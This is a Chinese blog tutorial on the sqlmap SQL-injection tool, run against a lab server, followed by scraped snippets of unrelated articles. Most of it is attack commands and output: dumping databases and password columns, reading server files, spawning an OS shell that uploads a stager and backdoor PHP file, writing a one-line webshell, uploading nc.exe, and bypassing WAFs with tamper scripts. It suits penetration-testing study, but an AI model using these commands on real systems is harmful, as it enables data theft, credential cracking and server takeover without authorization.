OWASP top10--SQL注入(四、sqlmap安装及使用)
目录
sqlmap工具安装:
工具说明:
主要功能特性包括:
基本使用示例:
先下载python2.7.9版本
sqlmap运行
sqlmap工具使用
-u
-r
–-level=LEVEL扫描深度级别
--risk=RISK 执行测试的风险
-threads 线程数
-batch-smart智能判断测试
--mobile模拟测试手机环境站点
-m 批量注入
--force-ssl跑https网站
注入获取数据命令
获取表名
字段名
数据内容
读文件内容
系统交互的shell
写webshell
sqlmap过waf
sqlmap工具安装:
工具说明:
sqlmap 是一个强大的开源自动化工具,专门用于检测和利用SQL注入漏洞。它能够帮助安全研究人员和渗透测试人员在web应用程序中发现并利用SQL注入漏洞,进而提取数据库中的数据,甚至控制数据库服务器。Sqlmap支持多种数据库管理系统,包括但不限于MySQL、Oracle、PostgreSQL、Microsoft SQL Server、SQLite等。
主要功能特性包括:
自动化检测:自动识别SQL注入漏洞,无需手动构造复杂的注入语句。
广泛支持:支持HTTP(S)协议,能够针对GET、POST及Cookie参数进行注入测试。
数据库指纹识别:能够识别出后端数据库类型。
数据提取:可以从数据库中提取数据,包括但不限于表、列、用户权限等。
数据库接管:在某些条件下,能够实现对数据库服务器的完全控制,执行系统命令、读写文件等。
绕过技巧:内置多种绕过WAF(Web应用防火墙)和过滤机制的技术。
多线程:支持多线程扫描,提高效率。
输出报告:能够生成XML、HTML、JSON等多种格式的扫描报告。
基本使用示例:
检测注入:
sqlmap -u "http://example.com/vulnerable.php?id=1"
指定注入参数:
sqlmap -u "http://example.com/vulnerable.php" --param-del "=" --data "id=1&submit=Submit"
暴力猜解数据库表名:
sqlmap -u "http://example.com/vulnerable.php?id=1" --tables
从特定表中猜解列名:
sqlmap -u "http://example.com/vulnerable.php?id=1" -D database_name --columns
提取特定列的数据:
sqlmap -u "http://example.com/vulnerable.php?id=1" -D database_name -T users -C "username,password"
先下载python2.7.9版本
设置环境变量:python的安装路径和scripts路径添加到电脑环境变量
sqlmap运行
win+R
cmd
--进入win命令行
cd C:\lan\sqlmap
--sql软件路径
sqlmap.py -u http://10.0.0.101:90/mysql/sql.php?id=1
sqlmap扫描历史记录文件夹目录:
sqlmap工具使用
-u
sqlmap.py -u http://10.0.0.101:90/mysql/sql.php?id=1
-- -u为get注入
--/mysql/sql.php?id=1 是请求的具体路径,其中 sql.php 是目标脚本文件,id=1 是传递给该脚本的一个参数值。
heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
--输出选Y
do you want to include all tests for 'MySQL' extending provided level (1) and risk (1)? [Y/n] n
--输出一般选n
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
--输出一般选n
--生产环境测到此次已完成。
结果解读:
结果解读:
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection points with a total of 24 HTTP(s) requests:
---
Place: GET
Parameter: id
--注入点位置:漏洞位于GET请求的'id'参数中
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 7911=7911
--布尔型盲注; 此类注入依赖于响应中是否有变化来判断SQL语句的真假,从而逐位猜解数据。
Type: UNION query
Title: MySQL UNION query (NULL) - 4 columns
Payload: id=1 UNION ALL SELECT CONCAT(0x3a6773753a,0x7a59485655536e69784f,0x3a65656a3a),NULL,NULL,NULL#
--利用UNION操作符将恶意查询与原始查询结果合并,从数据库中直接提取信息。这里使用了十六进制编码来构造输出,以绕过可能的字符过滤。
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=1 AND SLEEP(5)
--时间和基于OR的盲注; 通过使数据库执行一个延时操作(如SLEEP(5)),根据响应时间判断SQL语句执行情况,适合于那些仅能通过响应时间变化来判断的场景。
-r
语法:sqlmap.py -r post.txt -p 注入参数
如:sqlmap.py -r post.txt -p username,password
-- sqlmap.py是一个自动化的SQL注入工具,用于检测和利用Web应用程序中的SQL注入漏洞。
-- -r post.txt: 这个参数告诉sqlmap从指定的文件(post.txt)中读取原始HTTP请求。post.txt文件应包含一个或多个HTTP请求.
-- -p 注入参数:如果POST请求中有参数名为username和password,正确的用法应该是-p username,password。这个选项告诉sqlmap只针对列出的参数执行SQL注入测试。
–-level=LEVEL扫描深度级别
语法:sqlmap.py -u http://10.0.0.101:90/mysql/sql.php?id=1 --level 1
#执行测试的等级(1-5,默认为1);使用–-level 参数且数值>=2的时候也会检查cookie里面的参数,当>=3的时候将检查User-agent和Referer。
--risk=RISK 执行测试的风险
如sqlmap.py -r C:\lan\sqlmap\1.txt --level 3 -v 6#-r C:\lan\sqlmap\1.txt: 使用-r参数指定一个包含HTTP请求的文件路径
#--level 3: 设置扫描的深度级别为3
#-v 6: 设置sqlmap的详细输出级别为6
ERBOSE信息级别: 0-6 (缺省1),其值具体含义:“0”只显示python错误以及严重的信息;1同时显示基本信息和警告信息(默认);“2”同时显示debug信息;“3”同时显示注入的payload;“4”同时显示HTTP请求;“5”同时显示HTTP响应头;“6”同时显示HTTP响应页面;如果想看到sqlmap发送的测试payload最好的等级就是3。
-threads 线程数
线程数,如果你想让sqlmap跑的更快,可以更改这个线程 数的值,默认值为10
-batch-smart智能判断测试
C:\lan\sqlmap> sqlmap.py -u http://10.0.0.101:90/mysql/sql.php?id=1 -batch-smart
--您的命令旨在非交互式地(即无需人工确认每一步操作)使用SQLMap对指定的Web应用程序URL进行SQL注入漏洞检测,同时希望该工具能够智能地处理测试过程中的各种情况,以提高效率和安全性。
--数据库表名、用户名、账户密码破解、数据库内容脱库保存到攻击者主机标注的目录里(违法)
1、目标URL与检测点:
目标URL为http://10.0.0.101:90/mysql/sql.php?id=1。
在GET参数id上发现了三种类型的SQL注入漏洞:
布尔型盲注(Boolean-based blind)。
联合查询注入(UNION query)。
时间延迟盲注(AND/OR time-based blind)。2-3、数据库信息:
后端数据库管理系统(DBMS)确认为MySQL版本5.5.53,尽管在信息摘要中最初识别为5.0.11,这可能是识别或报告中的一个不一致。
当前数据库用户为root@localhost,并且此用户具有数据库管理员(DBA)权限。
当前数据库名为sql。
Web服务器操作系统为Windows,Web应用技术为PHP 5.4.45,运行在Apache 2.4.23上。
系统与用户详情:主机名为oldboy-f74d04fe。
列出了数据库管理系统中的三个用户,均为root,分别来自不同的主机地址(127.0.0.1, ::1, localhost)
-----------------------------------说明
do you want to perform a dictionary-based attack against retrieved password hashes? [Y/n/q]
进行数据库转储操作时的详细日志输出。它显示了SQLMap如何逐个表地从指定的数据库(在这个案例中主要是performance_schema和bwapp)中提取结构和数据,并将这些信息保存为CSV文件的过程。do you want to perform a dictionary-based attack against retrieved password hashes? [Y/n/q]
是否希望对这些哈希值进行字典攻击以尝试破解密码
[Y] 表示“是”,同意SQLMap使用内置或自定义的字典来尝试破解识别到的密码哈希。
[n] 表示“否”,不进行破解操作,仅停留在当前状态。
[q] 通常意味着“退出”,可能用于终止当前的SQLMap会话do you want to crack them via a dictionary-based attack? [Y/n/q]
是否决定继续通过字典攻击来尝试破解已发现的密码哈希do you want to crack them via a dictionary-based attack? [Y/n/q]
您想通过基于字典的攻击来破解它们吗?[Y/n/q]
--mobile模拟测试手机环境站点
sqlmap.py -u http://10.0.0.101:90/mysql/sql.php?id=1 --mobile
-m 批量注入
--force-ssl跑https网站
注入获取数据命令
--dbs //默认情况系sqlmap会自动的探测web应用后端的数据库类型:MySQL、Oracle、PostgreSQL、MicrosoftSQL Server、Microsoft Access、SQLite、Firebird、Sybase、SAPMaxDB、DB2
--current-user:大多数数据库中可检测到数据库管理系统当前用户
--current-db:当前连接数据库名
--is-dba:判断当前的用户是否为管理
--users:列出数据库所有所有用户
获取表名
--tables -D 数据库名
字段名
--columns -T user -D abc
数据内容
-T user -C username,password,email --dump
读文件内容
--file-read 【/etc/password】
sqlmap.py -u http://10.0.0.101:90/mysql/sql.php?id=1 --file-read c://lan//1.txt
##--file-read: 这个选项告诉 sqlmap 尝试读取远程服务器上的一个文件。紧跟其后的 "c://lan//1.txt" 是指定要读取的文件路径。通常用于验证SQL注入漏洞的存在并尝试获取敏感信息。(尽量两个用反斜杠,一个反斜杠容易被反义)
##网站文件路径获取方式:1、注入报错方式 2、搜索引擎搜索
系统交互的shell
-
--os-shell
流程:
sqlmap.py -u http://10.0.0.101:90/mysql/sql.php?id=1 --os-shell
--os-shell: 此选项指示sqlmap尝试获取目标系统的操作系统级别的命令执行能力,即创建一个远程shell。一旦成功,攻击者就可以通过这个shell执行任意操作系统命令,从而获得对服务器的进一步控制.[21:08:46] [INFO] retrieved the web server document root: 'C:\phpStudy\WWW'
--这条信息表示sqlmap成功识别了Web服务器的文档根目录。文档根目录是C:\phpStudy\WWW
[21:08:46] [INFO] retrieved web server full paths: 'C:/phpStudy/WWW/mysql/sql.php'--这条信息意味着sqlmap确定了请求的特定文件mysql/sql.php在服务器上的完整路径
please provide additional comma separated file paths to try to upload the agent inside the possible document: c:\\phpstudy\\WWW\\
--输入上传指定目录(根目录c:\\phpstudy\\WWW\\)[21:10:09] [INFO] the file stager has been successfully uploaded on 'C:/phpStudy/WWW' - http://10.0.0.101:90/tmpuckst.php
--这是一个临时文件,通常用于在目标服务器上部署更复杂的恶意软件或后门。文件stager是攻击的一部分,它可能包含一个小型脚本,该脚本可以下载并执行更大的恶意代码。
[21:10:09] [INFO] the backdoor has been successfully uploaded on 'C:/phpStudy/WWW' - http://10.0.0.101:90/tmpbpnbi.php
--这是sqlmap上传的后门文件,它可能允许攻击者通过HTTP访问来执行操作系统命令。攻击者现在可以通过http://10.0.0.101:90/tmpbpnbi.php与服务器建立交互。os-shell> ipconfig
--sqlmap已经成功获得了目标服务器的操作系统shell。提示os-shell>让你可以输入命令来执行操作系统级别的操作,输入ipconfig会运行Windows系统中的命令,显示网络接口的配置信息。也可根据sqlmap生成的木马文件进行通过阅览器访问木马文件进行交互:
http://10.0.0.101:90/tmpuckst.php
--阅览器访问刚才sqlmap生成的.php木马(功能小马)文件;进行上传大马(与web操作系统交互)
http://10.0.0.101:90/hao.php
--阅览器访问刚才通过tmpuckst.php上传的大马进行操作系统交互。
方式一:sqlmap命令行与web主机交互
方式二:也可根据sqlmap生成的木马文件进行通过阅览器访问木马文件进行交互:
连接成功
写webshell
--file-write "c:/1.txt” --file-dest “C:/phpStudy/WWW/3.php” -v1
将本机的c:/1.txt文件上传到目标服务器C:/phpStudy/WWW/3.php上(可传一句话木马)
--/*将/software/nc.exe文件上传到C:/WINDOWS/Temp下*/
sqlmap过waf
--tamper "脚本"
如sqlmap.py -u http://10.0.0.101:90/mysql/sql.php?id=1 --tamper "base64encode.py" -v 5 --dbs
使用多个脚本用逗号隔开:如--tamper "base64encode.py,space2plus.py"
sqlmap.py: SQLMap的主执行文件,这是一个自动化的SQL注入工具。
-u: 参数用于指定目标URL,这里是http://10.0.0.101:90/mysql/sql.php?id=1。这告诉SQLMap要测试哪个页面的SQL注入漏洞。
--tamper "base64encode.py": 使用base64encode.py篡改器。这个脚本会将请求参数(在这个例子中是id=1)通过Base64编码,以绕过可能的安全过滤或检测机制。
-v 5: 设置详细级别为5。SQLMap有0到5的详细级别,5是最详细的,会显示所有可能的信息,包括每个请求和响应。
--dbs: 这个选项让SQLMap列出目标数据库服务器上的所有可用数据库。它会尝试获取数据库管理系统(DBMS)的元数据,以发现存在的数据库名称。
声明:
- 此文章只做技术研究,谨遵守国家相关法律法规,请勿用于违法用途,如果您对文章内容有疑问,可以尝试留言私信,如有侵权请联系小编处理。
相关文章:

OWASP top10--SQL注入(四、sqlmap安装及使用)
目录 sqlmap工具安装: 工具说明: 主要功能特性包括: 基本使用示例: 先下载python2.7.9版本 sqlmap运行 sqlmap工具使用 -u -r –-levelLEVEL扫描深度级别 --riskRISK 执行测试的风险 -threads 线程数 -batch-smart智能…...

Java基础入门day62
day62 AJAX 概念 AJAX: Asynchronous Javascript And XML AJAX是一种无需重新加载整个网页的情况下,能够更新部分网页的技术 AJAX是一种用于创建快速动态网页的技术 通过在后台与服务器进行少量数据交换,AJAX可以使网页实现异步更新 传统…...
Oracle中两张表具有相同结构,如何将一张表内容全部插入到另一个表中
在Oracle中,如果两张表具有相同的结构,你可以使用INSERT INTO ... SELECT语句将一张表的内容插入到另一张表中。以下是一个示例: 假设有两个表:table1 和 table2,它们具有相同的列结构。要将 table1 的所有内容插入到…...
比特币的理论上限是多少个?
标签: 比特币的理论上限; 已经挖出多少个比特币; 问题:比特币的理论上限是多少个?截至2023年10月,已经挖出多少个比特币出来了? 比特币的理论上限 比特币的设计者中本聪在比特币协议中设定了比…...

LeetCode-131 分割回文串
LeetCode-131 分割回文串 题目描述解题思路C 代码 题目描述 给你一个字符串 s,请你将 s 分割成一些子串,使每个子串都是 回文串。返回 s 所有可能的分割方案。 示例 1: 输入:s “aab” 输出:[[“a”,“a”,“b”],…...
Flutter 中的 SliverPrototypeExtentList 小部件:全面指南
Flutter 中的 SliverPrototypeExtentList 小部件:全面指南 Flutter 是一个功能强大的 UI 框架,由 Google 开发,允许开发者使用 Dart 语言构建跨平台的移动、Web 和桌面应用。在 Flutter 的丰富组件库中,SliverPrototypeExtentLis…...
NeuralForecast 推理 - 数据集从文件dataset.pkl读
NeuralForecast 推理 - 数据集从文件dataset.pkl读 flyfish from ray import tune from neuralforecast.core import NeuralForecast from neuralforecast.auto import AutoMLP from neuralforecast.models import NBEATS, NHITS import torch import torch.nn as nn import …...
TS-类型转换(显式)
1.将其他类型转换为布尔类型 要将其他类型转换为布尔类型,只需要将待转换的值传入Boolean()函数 var msg: string "ok"; var msgToBollean: boolean Boolean(msg); //得到trueBoolean()函数会判断传入的值是空值还是非空值。 若表示非空值࿰…...
protobufjs 配置踩坑记录
本文主要是小程序使用PB协议,以下时博主遇到的问题以及解决办法。 1、安装protobufjs npm install --save protobufjs 注意:我之前也使用过 npm install -g protobufjs去安装,但是出现以下的问题,关键是我使用sudo 清除相关文件…...

freeswitch官方仓库
概述 在使用源代码编译安装freeswitch的过程中,我们经常需要一些依赖库,其中freeswitch官方的yum源仓库是最齐全最方便的。 但是,freeswitch仓库的配置和使用需要先在signalwire网站注册账号并获取PAT(personal access token&am…...

element ui el-calendar日历组件完整代码
el-calendar日历组件完整代码 1. 说在前面2. 日历整体代码3. 编辑与新增 1. 说在前面 最近一直忙于上班,没咋看博客,发现很多小伙伴都要日历组件的代码,于是今天抽空给大家整理一下,为爱发电!日历组件的原文在这里&am…...

初识java——javaSE(8)异常
文章目录 一 异常的概念与体系结构1.1 什么是异常?1.2 异常的体系结构!1.3 编译时异常与运行时异常与Error编译时异常:异常声明:throws关键字 运行时异常:什么是Error? 二 处理异常2.1 异常的抛出:throw(注…...
C语言面试题11至20题
探索编程面试题:深度解析11至20题 在编程面试中,经常会遇到一些需要深入理解计算机科学基础和编程原理的问题。以下是对一些常见面试题的详细解答,涵盖递归、循环控制、内存管理等关键概念。 11. 递归函数定义没有问题,递归深层…...

视频汇聚EasyCVR综合安防平台对接GA/T1400公安视图库及应用方案
随着科技的不断进步,视频监控系统在公共安全领域发挥着越来越重要的作用。GA/T1400公安视图库作为公安视频图像信息应用系统的标准,为视频监控系统的对接提供了统一的规范和技术要求。 GA/T1400标准的应用范围广泛,涵盖了公安系统的视频图像信…...
在Github找自己想要的的项目
点击进入github 1.首先进入到github的首页;搜索框搜(先关键字搜索)in:name 你的找的项目 比如: in:name Sping Boot2.进一步检索(点赞数高的) in:name Sping Boot star:>1000 3.如何要找最新的&…...

第16篇:JTAG UART IP应用<三>
Q:如何通过HAL API函数库访问JTAG UART? A:Quartus硬件工程以及Platform Designer系统也和第一个Nios II工程--Hello_World的Quartus硬件工程一样。 Nios II软件工程对应的C程序调用HAL API函数,如open用于打开和创建文件&#…...

Python——Selenium快速上手+方法(一站式解决问题)
目录 前言 一、Selenium是什么 二、Python安装Selenium 1、安装Selenium第三方库 2、下载浏览器驱动 3、使用Python来打开浏览器 三、Selenium的初始化 四、Selenium获取网页元素 4.1、获取元素的实用方法 1、模糊匹配获取元素 & 联合多个样式 2、使用拉姆达表达式 3、加上…...

2024最新群智能优化算法:大甘蔗鼠算法(Greater Cane Rat Algorithm,GCRA)求解23个函数,提供MATLAB代码
一、大甘蔗鼠算法 大甘蔗鼠算法(Greater Cane Rat Algorithm,GCRA)由Jeffrey O. Agushaka等人于2024年提出,该算法模拟大甘蔗鼠的智能觅食行为。 参考文献 [1]Agushaka J O, Ezugwu A E, Saha A K, et al. Greater Cane Rat Alg…...

苍穹外卖数据可视化
文章目录 1、用户统计2、订单统计3、销量排名Top10 1、用户统计 所谓用户统计,实际上统计的是用户的数量。通过折线图来展示,上面这根蓝色线代表的是用户总量,下边这根绿色线代表的是新增用户数量,是具体到每一天。所以说用户统计…...
AWS需要实名吗?
AWS作为全球领先的云计算服务提供商,对于实名认证有着严格的要求。实名认证是指用户在使用AWS服务时需要提供真实有效的个人身份信息,以便AWS能够对用户的身份进行验证和管理。对于AWS而言,实名认证是确保用户安全和服务质量的重要环节&#…...

未来机器人的大脑:如何用神经网络模拟器实现更智能的决策?
编辑:陈萍萍的公主一点人工一点智能 未来机器人的大脑:如何用神经网络模拟器实现更智能的决策?RWM通过双自回归机制有效解决了复合误差、部分可观测性和随机动力学等关键挑战,在不依赖领域特定归纳偏见的条件下实现了卓越的预测准…...

VB.net复制Ntag213卡写入UID
本示例使用的发卡器:https://item.taobao.com/item.htm?ftt&id615391857885 一、读取旧Ntag卡的UID和数据 Private Sub Button15_Click(sender As Object, e As EventArgs) Handles Button15.Click轻松读卡技术支持:网站:Dim i, j As IntegerDim cardidhex, …...

基于ASP.NET+ SQL Server实现(Web)医院信息管理系统
医院信息管理系统 1. 课程设计内容 在 visual studio 2017 平台上,开发一个“医院信息管理系统”Web 程序。 2. 课程设计目的 综合运用 c#.net 知识,在 vs 2017 平台上,进行 ASP.NET 应用程序和简易网站的开发;初步熟悉开发一…...

大型活动交通拥堵治理的视觉算法应用
大型活动下智慧交通的视觉分析应用 一、背景与挑战 大型活动(如演唱会、马拉松赛事、高考中考等)期间,城市交通面临瞬时人流车流激增、传统摄像头模糊、交通拥堵识别滞后等问题。以演唱会为例,暖城商圈曾因观众集中离场导致周边…...

【JVM】- 内存结构
引言 JVM:Java Virtual Machine 定义:Java虚拟机,Java二进制字节码的运行环境好处: 一次编写,到处运行自动内存管理,垃圾回收的功能数组下标越界检查(会抛异常,不会覆盖到其他代码…...
条件运算符
C中的三目运算符(也称条件运算符,英文:ternary operator)是一种简洁的条件选择语句,语法如下: 条件表达式 ? 表达式1 : 表达式2• 如果“条件表达式”为true,则整个表达式的结果为“表达式1”…...

如何在看板中有效管理突发紧急任务
在看板中有效管理突发紧急任务需要:设立专门的紧急任务通道、重新调整任务优先级、保持适度的WIP(Work-in-Progress)弹性、优化任务处理流程、提高团队应对突发情况的敏捷性。其中,设立专门的紧急任务通道尤为重要,这能…...
DeepSeek 技术赋能无人农场协同作业:用 AI 重构农田管理 “神经网”
目录 一、引言二、DeepSeek 技术大揭秘2.1 核心架构解析2.2 关键技术剖析 三、智能农业无人农场协同作业现状3.1 发展现状概述3.2 协同作业模式介绍 四、DeepSeek 的 “农场奇妙游”4.1 数据处理与分析4.2 作物生长监测与预测4.3 病虫害防治4.4 农机协同作业调度 五、实际案例大…...

深度学习习题2
1.如果增加神经网络的宽度,精确度会增加到一个特定阈值后,便开始降低。造成这一现象的可能原因是什么? A、即使增加卷积核的数量,只有少部分的核会被用作预测 B、当卷积核数量增加时,神经网络的预测能力会降低 C、当卷…...
jmeter聚合报告中参数详解
sample、average、min、max、90%line、95%line,99%line、Error错误率、吞吐量Thoughput、KB/sec每秒传输的数据量 sample(样本数) 表示测试中发送的请求数量,即测试执行了多少次请求。 单位,以个或者次数表示。 示例:…...